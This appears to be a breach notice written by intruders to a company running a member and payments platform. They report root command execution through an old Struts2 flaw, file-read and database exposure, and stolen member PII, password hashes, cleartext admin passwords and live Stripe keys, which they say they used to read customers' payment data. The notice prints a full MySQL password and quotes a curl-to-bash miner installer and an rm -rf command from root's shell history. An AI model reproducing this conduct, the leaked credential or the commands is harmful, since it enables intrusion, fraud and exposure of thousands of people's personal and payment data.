• Unauthenticated root RCE — Struts2 S2-016 (CVE-2013-2251) in struts2-core-2.0.14 → uid=0(root)
• Unauthenticated arbitrary file read as root — path traversal in stream.action?file_path=
• Unauthenticated DWR console — 42 backend DAO classes fully exposed, no auth, no session
• Internet-exposed database — port 3306 open, admin@% with ALL PRIVILEGES
• Full interactive shell — read/write/execute, compile Java, run Python, curl egress
• Lateral surface reachable: Webmin:10000, GlassFish admin:4848, JMX:8686, IIOP:3700, JMS:7676

$ id
uid=0(root) gid=0(root) groups=0(root)
$ hostname ; pwd
S01
/opt/glassfish/glassfish/domains/domain1/config

• Per member: full name, email, phone number, member number, upline/leader hierarchy, rank, status
• Also: home address, city, postal code, date of birth, join dates
• Member passwords — 32-hex MD5, offline-crackable
• 351,808 content-share records · 22,867 event tickets · 112,073 favourites
• Phone prefixes are predominantly US area codes — your members are US residents on a Mexican operator

• All 16 staff/admin accounts — passwords recovered in cleartext (reversible AES, hardcoded key)
• Includes admin, and all four tenant administrators (Libertad, Onetwork, E.N.V., Formula7) — we logged in with them
• MySQL superuser — admin / DDS110905FL6, plus fgarcia, novasysRespaldos, empty root
• Live Stripe secret keys — sk_live_… stored in cleartext
• SMTP password — full outbound mail as no_reply@audite.app
• Amway OAuth2 client secret — validated, live token issued
• GlassFish admin realm hash · Webmin root hashes · /etc/shadow · keystore passwords
• Third-party host credentials lifted from /root/.bash_history — six external MySQL servers

• 2,301 Stripe payment records — sender name, account numbers, amounts, concepts, dates, Stripe status
• Card metadata — last4, brand, expiry, fingerprint, country, cvc_check
• Live sk_live_ keys — we queried the Stripe API directly and read your customers and payment methods
• 1,436 payment records + 15,380 payment line details in-app
• 2.58M income ledger rows — the full earnings history of the network
• 250,214 monthly membership billing records
• Legacy encrypted full PAN found in an old Magento dump — cc_number_enc, MasterCard, cc_last4 5100

• All four tenants breached, not just Libertad — Onetwork 2,363 members, E.N.V. 298, Formula7 275
• Second application — auditeEvent POS/inventory: 13,734 sales, 70 user accounts
• Unprotected PDF reports in your web root — leader names and financial figures, downloadable by anyone
• Media files — 1,825 consent signatures, 463 profile photos, 332 event images, 24 audio files
• Legacy dumps of three other companies — Magento store customers, Amazon buyer data, Etsy and Genesys order data
• Unfinished business: many security="none" microservice endpoints reachable without auth

• Complete filesystem access as root — configs, keys, logs, WAR, history, dumps
• Full GlassFish domain.xml with every datasource credential
• Your stack is end-of-life across the board — GlassFish 4.1.2, Java 1.8 (free updates ended 2019), Struts 2.0.14 (2008), Apache 2.4.6, OpenSSL 1.0.2k
• Someone else was here before us. Root shell history shows xmrig Monero miner installs with two different wallets, plus cleanup attempts
• Meaning: your credentials and data were probably already leaking to a third party before we arrived

$ grep xmrig /root/.bash_history
curl -s -L .../C3Pool/xmrig_setup/master/setup_c3pool_miner.sh | bash -s 8AKrpLWzer...
sudo rm -rf /root/c3pool ; sudo chattr -i /root/c3pool